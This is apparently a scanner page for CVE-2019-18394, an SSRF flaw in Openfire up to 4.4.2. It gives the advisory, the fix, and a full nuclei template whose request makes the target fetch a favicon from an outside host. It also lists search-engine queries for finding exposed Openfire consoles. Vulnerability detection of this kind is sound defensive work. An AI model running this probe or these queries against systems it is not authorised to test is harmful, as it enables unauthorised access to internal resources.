Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery

criticalseverity

9.8CVSS score

32.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.

Impact

An attacker can exploit this vulnerability to send crafted requests to internal resources, leading to unauthorized access or information disclosure.

Fix

Upgrade to the latest version of Ignite Realtime Openfire (>=4.4.3) to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/getFavicon?host=oast.fun?
Positive when: contains(body, 'Interactsh Server') and contains(content_type, 'image/x-icon') and status_code == 200

Run it with nuclei: nuclei -id CVE-2019-18394 -u <target>

The full check

id: CVE-2019-18394

info:
  name: Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to the latest version of Ignite Realtime Openfire (>=4.4.3) to fix this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/openfire-admin-console/
    - https://github.com/igniterealtime/Openfire/pull/1497
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18394
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-18394
    cwe-id: CWE-918
    epss-score: 0.32304
    epss-percentile: 0.98337
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - http.title:"openfire admin console"
      - http.title:"openfire"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve,cve2019,ssrf,openfire,oast,igniterealtime,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getFavicon?host=oast.fun?"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - "contains(content_type, 'image/x-icon')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from